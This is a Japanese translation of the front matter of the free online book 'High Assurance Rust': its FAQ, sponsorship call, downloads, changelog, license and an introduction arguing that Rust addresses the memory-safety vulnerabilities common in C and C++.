Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

High Assurance Rust

High Assurance Rust

High Assurance Rust


セキュアで堅牢なソフトウェアの開発


リポジトリ ページ 図 価格 テキストライセンス: CC BY-NC-ND 4.0 コードライセンス: MIT 保証

本書は、正当な根拠をもって信頼できる高性能なソフトウェアを構築するための入門書です。 つまり、コードの機能性とセキュリティに対する確信を裏付ける十分なデータを持つということです。 信頼性は、高保証ソフトウェアの特徴です。

保証を中核となる概念として、本書では、ソフトウェア開発における2つの基本的でありながら、しばしば近づきにくいトピック、すなわちシステムプログラミング低レベルソフトウェアセキュリティに、ハンズオンかつプロジェクトベースのアプローチで取り組みます。

Rustを学びます。Rustは、速度と正確性を重視する、モダンなマルチパラダイム言語です。 ほとんどのプログラミング書は、小規模で非現実的なプログラムを十数個示すことで新しい言語を教えます。 本書はそうではありません。

Rustの標準ライブラリにある順序付きマップとセットの実装に代わる、機能を完備した実装を設計し、書き、検証します。 主要な動的コレクションの1つを、イディオマティックなAPIごとに再実装することで、Rust言語を深く理解できるようになります。

標準版とは異なり、私たちの実装は次のようになります。

  • 最大限に安全。 考えられるすべての実行に対して、Rustの最も強力なメモリ安全性保証を維持します。

    • コンパイラが証明できない性質をテストするために、差分ファジングや*演繹的検証**を含む高度なプログラム解析技術を学びます。
  • 極めて移植性が高い。 あらゆるオペレーティングシステム上で、あるいはオペレーティングシステムなしでも(例: 「ベアメタル」)実行できます。

    • 私たちのライブラリは堅牢化されたコンポーネントです。より大きなコードベースに統合するため、Rust関数をCやPythonを含む他の言語から呼び出せるように、CFFIバインディングを追加します。
  • 高可用。 そうでなければクラッシュにつながる可能性のあるケースを処理するための、失敗可能なAPIを提供します。

    • 例: メモリ不足(OOM)エラー - 事前に割り当てられたメモリがすべて使い果たされた場合。

実践的ソフトウェア保証における最先端

本書で書くコードを検証するために、最先端のオープンソースのソフトウェア保証ツールを使用します。 これらのツールの一部は成熟しており、商用業界で使用されています。

  • rustc(モダンなコンパイラ)
  • libFuzzer(ファジングテストフレームワーク)
  • rr(「タイムトラベル」デバッガ)
  • qemu(システム全体のエミュレータ)

その他のツールは実験的で、活発に研究されています。 完全な一覧は付録で確認できます。

視覚的には、本書は以下のトピックを扱います(開発速度形式的厳密性のトレードオフでおおまかに対比しています)。 心配はいりません。それぞれについて明確な説明と背景を提供します。

開発速度に重きが置かれている点に注目してください。 私たちが関心を持っているのは、長期的に見て、高品質なコードをより速く出荷し、セキュリティと信頼性の問題に対するパッチ適用に費やす時間を減らすことを可能にする、軽量なプロセスです。 現実世界のコードに適用できる技術です。 今日から使えます。

保証技術

他のRustの本とは異なり、本書で学ぶのは言語だけではありません。 最先端の領域で、ソフトウェアセキュリティについて推論する方法を学びます。 攻撃者のように考える方法。 そして、攻撃に耐性のあるコードを書く方法。 そのメンタルモデルは、主にどのプログラミング言語を使っているかに関係なく価値があります。

本書を支援するスポンサー

本書の開発(調査、執筆、コーディング)は、以下の寛大な支援によって可能になっています。

2022 Project Grants Programの第1期助成によるものです。 採択されたプロジェクトの完全な一覧はこちらで確認できます。グローバルなRustコミュニティ内で進行している刺激的な取り組みの数々をぜひご覧ください!

あなたは、ミッションクリティカルなアプリケーションを支えるデータ構造ライブラリを構築する必要があります。 それは、ほぼあらゆるデバイス上で動作し、現場で何年にもわたってエラーなく稼働し、攻撃者に制御された入力に耐えなければなりません。 パッチは存在せず、失敗は許されません。 あなたのコードは生き残らなければなりません。 強く出荷せよ。


* == 変更される可能性があります!本書は制作途中です。完成時や物理版の提供開始時に通知を受け取りたい場合は、こちらから登録してください

よくある質問(FAQ)


扱う基本的なトピック。

0. 簡潔に言うと、この本は何を目指していますか?

  • セキュアで堅牢なシステムの開発について、わかりやすく、かつ原則に基づいた入門を提供すること。「最先端」と「短期的に実用可能」の重なり合う領域、つまり主に本番環境レベルのツールと手法を扱いつつ、最先端の研究プロジェクトもいくつか取り上げます。すべてオープンソースです。

  • 経験豊富な開発者が新しい言語を学ぶと同時に、コンピューターサイエンスとコンピューターアーキテクチャの基本的なトピックをより深く掘り下げられるよう支援すること。

1. この本は誰向けですか?

上の図に示した要素の何らかの組み合わせに関心がある人なら誰でも対象です。

  • Rustプログラミング言語
  • ソフトウェアセキュリティ
  • データ構造(特に自己平衡木)
  • システムプログラミング

ただし、一般的なコーディングにはすでに十分慣れていることを前提としています。 熟練したソフトウェアエンジニアでなくてもかまいませんが、3,000行以上のプログラムを書いてデバッグした経験があることを想定しています。 再帰をすでに理解しており、コマンドラインツールの使い方を知っている必要があります。

また、この本は、あなたが深く技術的なトピックに興味を持っていることも前提としています。 メモリ管理やパフォーマンス最適化のようなものです。 物事が実際にどのように作られているのかという細部です。 かなり深いところまで踏み込みます。

2. では、これは上級者向けの本ですか?

プログラム解析の研究、バイナリエクスプロイト開発、自己平衡木のような「高度な」題材を避けることはしません。 この本の一部は難しいかもしれませんが、すべてのトピックをできるだけ理解しやすく、魅力的にするよう努めます。

付録には「基礎」と記された短いセクションが含まれています。 これらは、異なる背景を持つ読者に対応するため、主要な概念への任意の入門を提供します。 章が特定の知識を期待または推奨している場合、それはこれらの付録セクションのいずれかで扱われています。

さらに、この本に登場する引用ブロックのかなりの部分は、周囲のテキストに説明的な文脈を与えることを明確に意図しています。 大まかには次の形式に従います。

ここに概念Xに関する質問

概念Xと関連キーワードについての簡単な説明。 網羅的ではありませんが、正しい方向への手がかりになることを願っています。

C言語は短いスニペットで時折使用しますが、あなた自身がCを書いたことがまったくないものとして扱います。 Rustの事前経験は必要ありません。

数学については明確に説明し、複雑なトピックを視覚的に説明するために図を使用します。

3. これは単なるデータ構造の本ですか?

いいえ。 ただし、強力なマップ/セットライブラリを組み立てる足場として、特定のデータ構造(「スケープゴート木」と呼ばれます)を使用します。 データ構造というレンズを通して学びます。データ構造は、抽象理論の厳密さと実用的な実装の技巧を組み合わせるものです。 そして、Rustの最も新しい概念の習熟へと進みます。

4. この本の「ハンズオン」な点は何ですか?

各章を通して、コードを書き、最先端のツールを使います。

前半が終わるころには、データ構造ライブラリにリモートコマンドを送信して、ライブでテストするようになります。 さらに注目すべき点は、それが組み込みシステムの仮想的な複製の中で「ベアメタル」で実行されることです。 ハードウェアを購入する必要がないということ以上に、それが実際に何を意味するのかを説明します!

この本の内容は、実世界のライブラリの実装に基づいています。 さらに重要なのは、Rustの標準ライブラリで広く使われているコレクションとAPI互換の代替を構築することです。 これは「おもちゃ」の例ではありません。

5. どのような「ハッカー」(ここでは低レベルセキュリティの意味)スキルを学べますか?

セキュアなシステムを構築するために、システムを攻撃できる能力が必須というわけではありません。 しかし、攻撃者のように考え、同じツールの一部を適用できれば、確かにより容易になります。

防御的(いわゆる「ブルーチーム」)スキルと攻撃的(いわゆる「レッドチーム」)スキルの幅を紹介しますが、前者に重点を置きます。

  • ブルーチームのスキル(重点):

    • Rustでのセキュアコーディング
    • 軽量な形式的検証
    • 安全な外部関数バインディング
  • レッドチームのスキル(補足):

    • 現代的なバイナリエクスプロイトの基礎
    • リバース動的デバッグ
    • カバレッジガイド付きファジングによるバグ発見

6. 学んだことを仕事に適用できますか?

C Foreign Function Interface(CFFI)バインディングを扱います。あなたのAPIはPython3とC99の両方のコードから呼び出せるようになります。 これは、高速でセキュアなRustコンポーネントを既存の仕事のコードベースに統合するための実践的なスキルです。

加えて、試すことになる静的検証ツールと動的テストツールはすべて無料でオープンソースです。 Rustだけでなく、複数の言語で書かれた実行ファイルを解析できるものもあります。 ツール一覧の完全版は付録にあります。

たとえ本番環境でRustを実行する機会がまったくなくても、システムセキュリティのスキルを得られます。 それらはさまざまな文脈で価値を持つ可能性があります。

7. Rustを安全性が重視される領域で使用できますか?

可能性はあります。領域によります! Rustツールチェーンは、たとえばSPARK/Adaほど広く認証されているわけではまだありません。 しかし、安全性が重視される製品でのRust採用は活発に進展しています。 最近の例(網羅的ではありません):

  • Ferroceneプロジェクトは公式Rustコンパイラのダウンストリームであり、自動車(現在はISO 26262による)および産業(現在はIEC 61508)環境で「品質管理され、使用に適格とされた」ものです。

  • Infineon Technologiesのようなハードウェアベンダーも、同様に自社プラットフォームを対象とするRustツールチェーンの提供を開始しつつあります。

  • AdaCoreのようなソフトウェアベンダーは、安全性が重視される用途に特化したRustツールを現在提供しています。

この本は、業界に関係なく、一般にセキュアで堅牢なソフトウェアを構築することについて扱います。 Rustを取り巻く規制環境が発展するにつれて、ここで扱うトピックをより多くの業界分野に適用できるようになるでしょう。 ほとんどの業界にとって、Rust は本番環境で使える状態にあります。 今この時点で。 この言語は現在、多くのミッションクリティカルな場面で使用されています。 Web スケールのインフラストラクチャ、金融サービス、コンシューマー製品などです。

免責事項: 本書の著者の 1 人は、現在、安全性が重要なシステムにおける Rust の使用に関するガイドラインを作成している SAE International のタスクフォースに、ボランティアとして参加しています。

8. この本は無料ですか?

もちろんです! ペイウォールも、義務も、ゲートキーピングもありません。 本書全体は https://highassurance.rs で一般公開されています。

ただし、まだ作業中です。 長期的な目標は、基礎的なトピックについて、コミュニティのすべての人高品質なリソースを提供することです。 バランスの取れた本を作るには、時間と反復が必要です(フィードバックをお待ちしています)。

本書に価値を感じた場合は、以下の方法でこのプロジェクトを支援できます。

  • 本書の GitHub リポジトリにスターを付ける: こちらです。スターを付けることで、開発者の間でこのプロジェクトの可視性が高まります。

  • 本書全体で参照している他の書籍のいずれかを購入する: 脚注は出典を引用するために使用されます。 その出典が、私たちが愛し大切にしている技術教科書である場合、脚注には [PERSONAL FAVORITE] というタグで区別された Amazon アフィリエイトリンクが含まれます。 これらのリンクは控えめに使用されており、本当に必読だと感じている本にのみ使われます。 完全な一覧は付録にあります。 リンクを使用して購入すると、本書と、当然ながら購入した本の両方を支援することになります。

  • 物理版の順番待ちリストに登録する: 将来のある時点で、High Assurance Rust は完成し、磨き上げられ、物理的な印刷に値するものになるでしょう。 ハードコピーに興味がある場合は、通知を受け取るためにこちらから登録してください。

継続的な教育を重視する有力なセキュリティスタートアップまたはエンタープライズですか? 現在の開発者や将来開発者を目指す人々にリーチするために、本書のランディングページにロゴを掲載したいですか? もしそうであれば、Sponsor Call for Proposals (CFP) ページをご覧ください。

9. 他に知っておくべきことはありますか?

本書を実現するために、多大な努力が注がれました。 私たちが書くのを楽しんだのと同じくらい、皆さんにも読むことを楽しんでいただければ幸いです。 一緒にハックしましょう!



* == 変更される可能性があります。まだ書かれていません!本書は作業中です。

本書に関わりましょう!


フィードバック、質問、Issue、またはPRを送信する

全般的なフィードバックがありますか? あるいは、どうしても聞きたい質問があるかもしれません。

本書は執筆中であり、皆さんからのご意見が重要です。 ぜひご意見をお聞かせください。以下までメールをお送りください:

contact@highassurance.rs

事実関係または文法上の誤りを見つけましたか?

GitHubでIssueまたはPull Request (PR)を送信してください。 プロジェクトのCONTRIBUTING.mdを参照してください。

リポジトリにスターを付ける

GitHubリポジトリにスターを付けることで、開発者の間でこのプロジェクトの認知度を高める手助けができます。 皆さんのご支援に深く感謝します。

本書:

scapegoat Crate:

友人にすすめる

友人にリンクを送ることを検討してみてください。友人は本書全体を無料で読むことができます!

章内の小見出しをクリックすると、ブラウザーのアドレスバーにその箇所を示すURLが表示されます。

High Assurance Rustを引用する

本書はアクセシビリティを念頭に設計されていますが、高度なトピックを掘り下げ、関連する研究を文脈づけていきます。 ページ下部の脚注では一次資料を引用しています。

ご自身の著作で本書を直接引用したい場合は、以下のBibTeXまたは同様の形式を使用してください:

@misc{high_assurance_rust,
    title={High Assurance Rust: Developing Secure and Robust Software},
    url={https://highassurance.rs},
    howpublished = "\url{https://highassurance.rs}",
    author={Ballo, Tiemoko and Ballo, Moumine and James, Alex},
    year={2022}
}

このプロジェクトを支援するその他の方法

FAQの質問8はこちらを参照してください。

よろしくお願いします!

スポンサー向け提案募集(CFP)


本書の読者は、ソフトウェア関連のキャリアセキュリティ製品に関心を持っている可能性が高いでしょう。 これは、2つのステークホルダーに関わる発見の問題です。

  1. 参加したくなるような魅力的なチームを探しているエンジニア

  2. セキュリティに精通したエンジニアの手に高品質なツールを届けたい企業

本書の主な目的は、無償の教育です。 しかし、両者に利益があるなら、これらのステークホルダーをつなげることもぜひ実現したいと考えています。

お願いしたいこと

  • 貴社が2つの基準を満たしていること。

    1. 技術職(ソフトウェア開発、セキュリティエンジニアリング、テクニカルライティング、プロダクトマネジメントなど)を有する雇用主であること

    2. セキュリティ関連の製品(SaaS、ハードウェア、レポートなど)または専門サービス(コンサルティング、トレーニング、研究開発など)を提供していること

  • 本書の開発を支援するための、1回限りの寄付

    • 貴社の現在のマーケティング予算と比べれば、おそらくごく少額です。

    • 継続教育のために無償で利用できるリソースを支援することになります。

  • 執筆セクションについての簡潔な提案

    • 以下をご覧ください。

提供できること

  • 本書のランディングページに、貴社のロゴをスポンサーとして掲載し、貴社が選択する2つのリンク(採用ページ、製品ページなど)を設定します。

    • ロゴはスポンサー開始日の順(早いものから新しいものへ)に表示されます。

    • このドメインが存続する限りロゴを掲載します(10年以上を保証)。

    • どのような理由であっても、いつでもロゴやリンクの削除を依頼できます(例: 本書の今後の章が貴社の価値観や品質基準を満たさない場合)。

  • 本書の末尾にある専用のスポンサー章での執筆セクション

    • 製品利用のチュートリアル、チーム文化に関する記事など。

    • 最大3,500語まで、貴社(そのトピックの専門家)が執筆します。

    • トラッキングやアナリティクスは許可されません(昔ながらの雑誌広告のように、読者のプライバシーを尊重します)。読者情報を収集または共有することはできません。

      • 本書のリポジトリのスター数は、すでに可視性を示す透明かつ自発的な指標として機能しています。

スポンサーになることをご希望の場合は、簡潔な提案(プレーンテキストまたはPDFを推奨)を以下までお送りください。

contact@highassurance.rs

ぜひご連絡ください!

当方は、いかなる理由であっても(例: ブランドの評判、提案トピックなど)、スポンサーシップのご依頼を丁重にお断りする権利を留保します。読者に対して誠実でなければなりません。


ダウンロード


この本は、Webページとして閲覧することをおすすめします。 オフラインで閲覧する場合は、リポジトリをクローンして完全なローカルコピーを取得できます(ローカルで配信するには make read)。 あるいは、以下を利用できます。

  • EPUB

    • 最終エクスポート: 10/8/23
    • SHA-3-256: 23e158a622087b88c906b269c8a0523ae81d17b2e01a89ccb4ea81e4342c5e2e
  • PDF(いつの日か公開予定)

ハッシュは openssl dgst -sha3-256 <file_name> で検証できます。

お楽しみください!

変更履歴


注: この本は制作途中であり、その内容(現在または将来)は変更される可能性があります。 誤りを見つけた場合は、ご連絡ください

  • v0.4.3-alpha:

    • 新セクション: 14.4 戦術的信頼 (1/2)
    • コミュニティから投稿された修正。技術的正確性の向上に貢献してくれた pixelshot91 に特別な感謝を
    • mdbook を更新(v0.4.35 -> v0.4.51)。複数のレンダリング更新を含む
  • v0.4.2-alpha:

    • 内部ツールの更新(メトリクス、リンター)
    • 計算されたページ数と図の数を含むランディング/README.md バッジ
    • EPUB ダウンロードを更新
    • それぞれのオープンソースリリースを踏まえ、FerroceneFLS への言及を更新(やった!)
  • v0.4.1-alpha:

    • 新セクション: 4.2 保証の観点: スタック安全性
    • 新セクション: 16.10 理論: 手続き間 CFG
    • 4.0、4.1、および 4.4 の改訂。
    • 多数の新規および改訂された 4.X の図。
  • v0.4.0-alpha:

    • 新セクション: 4.1. ソフトウェアの観点: CPU からスタックへ
    • 新セクション: 4.3. 攻撃者の観点: 安全性を破る (1/2)
    • 新セクション: 4.4. 攻撃者の観点: 統一理論 (2/2)
  • v0.3.2:

    • 2022 Project Grants Program を通じた Rust Foundation のスポンサーシップ!
    • 1.1、2.10 に新しい図と議論。
    • 2.2 と 2.7 に新しい補足説明。
    • CODE_OF_CONDUCT.md を追加。
    • EPUB ダウンロードに SHA-3-256 ハッシュとタイムスタンプが含まれるようになりました。
  • v0.3.1:

    • コミュニティ貢献者一覧を開始し、CONTRIBUTING.md を追加。
    • コミュニティからのフィードバックに基づく複数の修正と改善。
    • 徹底的なレビューと深い技術的洞察を提供してくれた jam1garner に感謝。
    • EPUB ダウンロードを追加。
  • v0.3.0:

    • Hello, world! :)
    • 初期コンテンツ(第 1、2、3 章、および付録の大部分)の公開リリース。
  • v0.0.0:

    • オープンソースの scapegoat ライブラリは、この本の中核プロジェクトが実現可能であることを示しています。
    • Rust の主要な強みであるメモリ安全性とベアメタル移植性を最大限に活かします。

日付は、速度ではなく品質に集中するため、意図的に省略しています。コードについては例外で、かなり高速です(スタックに格納されるアリーナ、再帰なし)。


ライセンス


本書のテキスト

本書のすべてのテキストは、クリエイティブ・コモンズ 表示-非営利-改変禁止 4.0 国際 (CC BY-NC-ND 4.0) ライセンスの下でライセンスされています。

Creative Commons ライセンス

本書のコード

本書のすべてのコード(およびその基になっているオープンソースライブラリ)は、MITライセンスの下でライセンスされています。

MIT License

Copyright (c) 2022 Tiemoko Ballo, Moumine Ballo, Alex James

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

はじめに


システムプログラミング――あなたがこれから足を踏み入れようとしている世界――において、私たちは現状に甘んじるようになってしまいました。 もしかすると、加担してさえいるのかもしれません。

私たちは顧客に対して信頼性が高く安全なソフトウェアを約束してきましたが、そこには暗黙の但し書きがありました。性能を犠牲にしてはならない、というものです。 そして、最速の言語は伝統的にメモリ安全ではありませんでした。 それらを使用することで、私たちは一般的な機能要件と、最も基本的な防御姿勢の両方を積極的に危険にさらしています。

  • 信頼性: メモリ安全性エラーは、予測不能なクラッシュ(例: 「セグメンテーションフォルト」)、再現不能なエラー(例: 「データ競合」)、そして最終的なサービス停止(例: 「メモリリーク」)を引き起こします。

  • セキュリティ: 同じメモリエラーによって、攻撃者が機密データを読み取れるようになったり(例: 「秘密情報を盗む」)、被害を受けたプログラムの権限でほぼ任意のコマンドを実行できるようになったりする可能性があります(例: 「完全制御」)。

プログラムがクラッシュしたり、不正な出力を生成したりすることは一つの問題です。 あなたのマシンがボットネットに参加することは、また別の問題です1。 メモリ安全でないプログラムは、これら両方の結果を同時にもたらす危険があります。

こうした途方もないリスクは、ガベージコレクションや重量級ランタイムを使用する、ほとんどの現代的な「アプリケーション言語」(Python、Java、Go などを想像してください)では、大部分が軽減されています2。 しかし、安全性が重要なシステム、高性能な分散インフラストラクチャ、さまざまな種類のファームウェアなど、C と C++ に依存し続けている重要な分野があります3

時代とともに自らを再発明し、世界で最も重要なソフトウェアの多くを支えてきたにもかかわらず、これら 2 つの伝統的な「システム言語」は、依然として最悪級のセキュリティ脆弱性(例: Heartbleed4、Stagefright5、EternalBlue6、Dirty Pipe7 など)の主要な供給源であり続けています。 メモリ破損の脅威は衰えていません。

これが、数十年にわたって後方互換性にコミットしてきた代償です。 私たちは、自分たちがその肩の上に立つ巨人たちをけなそうとしているわけではありません。

しかし、その肩はひどく重い荷を背負っています。 2012 年の重要な研究論文8は、「Systematization of Knowledge: Eternal War in Memory」という適切な題名のもと、30 年にわたる C と C++ のメモリ保護スキームの失敗を記録しました。 新しい防御策はことごとく、新しい回避技術によって打ち破られてきました。

時を進めて 2019 年。 Microsoft の調査9は、同社製品における 2004 年から 2018 年までのすべてのセキュリティ問題について、次のように述べています。

毎年セキュリティ更新プログラムによって対処される脆弱性の約 70% は、依然としてメモリ安全性の問題である。

この割合には、市場をリードする巨大企業である Microsoft におけるエンジニアの経験やソフトウェア品質プロセスが反映されています。 もしあなたがすでに C または C++ プログラマーであるなら、これは受け入れがたい真実です。 それは理解できます。

  • C は革命でした。プロセッサ間で移植可能な「高水準」プログラムを世界にもたらしました10。そして今日、それはほぼすべてのデバイスのかなり深い層で動いています。

  • C++ の強力な抽象化は、Web ブラウザー、グラフィックスエンジン、データベースなど、驚くべき規模の高性能なシステムを可能にしています。私たちがなくてはならないソフトウェアです。

しかし、進化は遅れすぎているのかもしれません。 Google による 2022 年の分析11では、「実際に悪用されているものとして検出および開示された」これまで未知だった(例: 「ゼロデイ」)エクスプロイトについて、次のことがわかりました。

その年[2021 年]に実際に悪用された 58 件の 0-day のうち、39 件、つまり 67% はメモリ破損脆弱性だった。 メモリ破損脆弱性は、過去数十年にわたりソフトウェアを攻撃する標準的な手段であり続けており、攻撃者が今なお成功を収めている方法でもある。

調査対象となったエクスプロイトの一部は、ジャーナリスト、政治家、活動家、マイノリティ集団を標的にするために実際に使用されていました11。 メモリ破損は理論上の問題ではありません。 それは差し迫った深刻な問題であり、最悪の場合には具体的な人的被害を伴います。

もし私が、常に本当に慎重で、いつでも気を抜かないとしたらどうでしょうか?

現代的な C 系言語のベストプラクティスは、メモリ脆弱性の可能性を低減できます。 しかし、それらを排除できるとは思えません。 そして Rust のコンパイル時エラーやランタイムチェックとは異なり、ベストプラクティスをスケールさせることは困難です。

数十年分のデータは、開発者の勤勉さと広範なテストではメモリ安全性の問題を確実に解決できないことを示しています。 根本原因への対処を真剣に検討すべき時です。

もう現状に甘んじる必要はありません

Rust は比較的新しいシステム言語として、伝統的に C/C++ の領域であったものをサポートします。 それは、コンパイラによって強制される「所有権」12という、別のパラダイム群を提供します。

もし Rust を一度も試したことがないなら、ほぼ全知だが狭い範囲に集中する完璧主義者とペアプログラミングしているところを想像してみてください。 所有権の概念を実装するコンパイラコンポーネントである借用チェッカーは、ときにそのように感じられます。

それに伴う学習曲線と引き換えに、私たちはメモリ安全性の保証を得ます。 つまり、多くの場合、常にではないにせよ、すべてのメモリエラーが存在しないことを確実に証明できるということです。

Rust は 2010 年に Mozilla によって発表され13、2021 年時点では独立した非営利団体によって主導されており14、過去 40 年のシステムプログラミングにおける最も差し迫った単一のセキュリティ問題、すなわちメモリ安全性を大部分解決します。

商業的に実用可能なプログラミング言語として、メモリ安全性とベアメタルの速度を同時に提供する、おそらく初めての言語です。

それは単なる意見でしょうか?

それは大きな勢いを得つつある意見です。 社会的受容と市場圧力のあるしきい値を超えれば、退屈なほど当たり前の立場にさえなるかもしれません。 Rust を本番環境で使用しているユーザーの一部から、同様の見解を紹介します:15

Amazon:16

…AWS では、Firecracker VMM のような重要インフラストラクチャを Rust で構築することがますます増えています。なぜなら、Rust の標準機能により、Amazon の高いセキュリティ基準に到達するために必要な時間と労力を削減できる一方で、C や C++ と同様のランタイム性能を引き続き提供できるからです。

Google:17

私たちは、Rust が[Linux]カーネルを実装するための実用的な言語として C に加わる準備が整ったと感じています。Rust は、コアカーネルとうまく共存し、その性能特性を維持しながら、特権コードにおける潜在的なバグやセキュリティ脆弱性の数を減らす助けになります。

Microsoft:18

[Rust は]この[メモリ安全性]問題に正面から取り組むための、業界にとって最良の機会です。 さらに、Rust は米国政府のセキュリティガイダンスの最前線にも登場し始めています。 このセクションが最初に公開された時点(2022年3月)以降、さまざまな政府機関が、メモリ安全性という深刻な社会的問題に対する解決策として Rust を明示的に挙げるようになりました。

国家安全保障局(NSA):19

ソフトウェア解析ツールはメモリ管理の問題の多くの事例を検出でき、動作環境のオプションも一定の保護を提供できますが、メモリ安全なソフトウェア言語が提供する本質的な保護は、ほとんどのメモリ管理問題を防止または軽減できます。NSA は、可能な場合はメモリ安全な言語を使用することを推奨します。

…メモリ安全な言語の例には、C#、Go、Java、Ruby、Rust、Swift があります。

サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA):20

ほかのどの産業であれば、市場が、製品のユーザーにとってこれほどよく理解されており深刻な危険を何十年も容認するでしょうか?

…数年前まで欠けていたのは、C/C++ の速度と組み込みのメモリ安全性保証を備えた言語です。2006年、Mozilla のソフトウェアエンジニアが Rust という新しいプログラミング言語の開発を始めました。Rust バージョン 1.0 は 2015年に正式に発表されました。

米国国立標準技術研究所(NIST):21

安全性や品質をプログラムに「テストで後付け」することはできません。最初から設計に組み込まれていなければなりません。より安全またはよりセキュアな言語や言語サブセットで実装することを選択すれば、弱点のクラス全体を完全に回避できます。

…Rust には所有権モデルがあり、ガベージコレクターを必要とせずに、コンパイル時にメモリ安全性とスレッド安全性の両方を保証します。これにより、ユーザーは多くのバグクラスを排除しながら、高性能なコードを書くことができます。Rust には unsafe モードがありますが、その使用は明示的であり、許可されるアクションの範囲も狭く限定されています。

それは Rust プログラムが侵害されないという意味ですか?

まったく違います。 メモリ破損は、バグクラスの 1 つにすぎません。 それは特に厄介で、高価値のエクスプロイトチェーンの一部であることが多いものですが22、ほかのバグクラスも存在します。

多くの、もしそうでなくてもほとんどのセキュリティ問題は、言語に依存しません(例: 設定ミス23、コマンドインジェクション24、ハードコードされたシークレット25 など)。 また、メモリ安全な言語が独自の問題を持ち込むこともまれにあります(例: 信頼できない入力のインタープリター評価、別名「eval インジェクション」)。 どのプログラミング言語も、あらゆる攻撃に対してあなたのコードを完全にセキュアにしてくれるわけではありません。


図は縮尺どおりではありません: 言語に依存しないバグが最も多く、次にメモリ安全でないことに起因するバグが多いと考えられます。

さらに、Rust にはあまり知られていない厄介な秘密があります。 先に触れておきましょう。Rust の unsafe キーワードを使う必要がある場合があります。これは、特定のコードブロック内で潜在的にメモリ安全でない振る舞いを許可します。 その意図は、コンパイラーが自動的に検証できないアクションの安全性を、人間が慎重にレビューすることです。 そして、それはコードベース全体ではなく、いくつかの重要な箇所に限られます。

この本のコアプロジェクトでは、unsafeまったく使う必要はありません! Rust の保証を最大限に活用するために、問題を慣用的な方法で捉え直す方法を学びます。 これは、この言語から具体的なセキュリティ上の価値を引き出すための重要なスキルです。

しかし、状況認識と将来の取り組みのために、以下を扱います。

  • unsafe の使用法と影響を詳しく取り上げます。
  • Rust アプリケーションの安全性を監査するためのツールを学びます。
  • ケーススタディとして、Rust ソフトウェアにおける実世界の脆弱性をいくつかレビューします。
  • 安全でない言語から Rust コードを呼び出すための Foreign Function Interface(FFI)バインディングを構築します。

Rust はシステムセキュリティにおける途方もない飛躍ですが、万能薬ではありません。

Rust は C や C++ を置き換えることになりますか?

C と C++ は、現代世界で最も広く使われているソフトウェアの一部を支えています。 膨大な数の C ファミリーのコードベースが何十年も前から存在しており、今後さらに何十年も進み続けるでしょう。 重要な問題に対して、長年の実績に裏付けられた解決策を提供しているからです。

プロのシステムプログラマーは、3 つすべての言語の経験から恩恵を受けられます。 C ファミリーがすぐになくなることはありません。 そして Rust は既存の C/C++ コードと統合できます。 ランタイムオーバーヘッドなしでです。

これは Rust の本ですが、C の小さなスニペットをいくつか目にすることになります。 通常それらは、すべての C プログラマーが認識しておくべき微妙な「未定義動作」の問題を示すものです。

また、Foreign Function Interface(CFFI)を介して、あなたが構築するライブラリを C から呼び出すためのバインディングも書きます。 これは、別の言語で書かれた既存のコードベースに新しい Rust コンポーネントを統合するための前提条件です。

curl の興味深い事例

curl26 は、URL を使ってデータを転送するためのユーティリティで、1998年以降広く普及しており、C で書かれています。 このツールは非常に広く依存されているため、そのセキュリティは私たちが「インターネット」と見なすものの多くに影響します27

2020年時点で、curl はセキュリティを強化するために、HTTP と TLS の Rust バックエンド(CFFI 経由で呼び出される)を統合しています27。 メモリ安全な Rust コードは、既存の C コードとシームレスに統合されます。 すべてが 1 つのコンパイル済みバイナリであり、言語間相互運用性によるパフォーマンスペナルティはありません。

平均的なエンドユーザーには違いが分からないとしても(そしてそれは良いことです!)、curl は今や、より安全で信頼性の高いプログラムになっています28

新しい言語を採用することは本当に労力に見合いますか?

あなたはおそらく、自分が選んだ言語/ツールチェーン/エコシステムに相当な経験時間を投資してきたでしょう。 知識の多くが移転可能だとしても、Rust はその労力に見合うのでしょうか?

すべてのプロジェクトに当てはまるわけではありません。 Rust は、性能、信頼性、セキュリティのすべてがミッションクリティカルな要件である場合に魅力的な選択肢です。 このように相反しがちな基準が交わるところでは、正当化可能な確信に到達するための障壁は、従来ばかばかしいほど高いものでした。 ここで言っているのは「形式手法」です。機械支援による証明、モデル検査、シンボリック実行などです。 これらのアプローチは価値がある一方で、産業界での大規模な採用には障害があります。

現在、Rust の保証は、これらの検証アプローチが総体として提供するものの小さなサブセットです。 しかし Rust は、それに伴う実用性上の落とし穴の多くも回避しています。

Rust のコンパイラーは、重要な性質の特定の集合をほぼ自動的に証明し29、私たちが迅速に出荷できるようにします。 表面的には、低レイテンシ性能を犠牲にすることなくメモリ安全性を得られます。 さらに深く見ると、私たちの優位性は、実際には商用開発のペースで行える原理に基づいた検証にあります。 実世界のコードの速度で、[一部の] 証明を得られるのです。

検証はおもちゃのプログラムだけのものではないのですか?

形式的な裏付けのある保証のほとんどは研究用プロトタイプに限定されています。大規模でマルチスレッドのコードベースには単にスケールしません。 そのため、形式手法は実務のソフトウェアエンジニアの間で評判がよくありません。難しすぎるうえに、価値が十分ではないのです。

対照的に、Rust コンパイラーはもともと、Firefox のブラウザーエンジンのコンポーネントを堅牢化するために設計されました13。これは数百万行規模で高度に並列な商用コードベースです。

さて、どれほど有益になり得るツールであっても、採用と影響を得るには使いやすくなければなりません。 当初の学習曲線はあるものの、Rustは過去7年連続で「最も愛されている」プログラミング言語に選ばれました。 StackOverflowの年次開発者調査30では、2022年に73,000件を超える回答が寄せられました31

わかりました。では、Rustを学べますか?

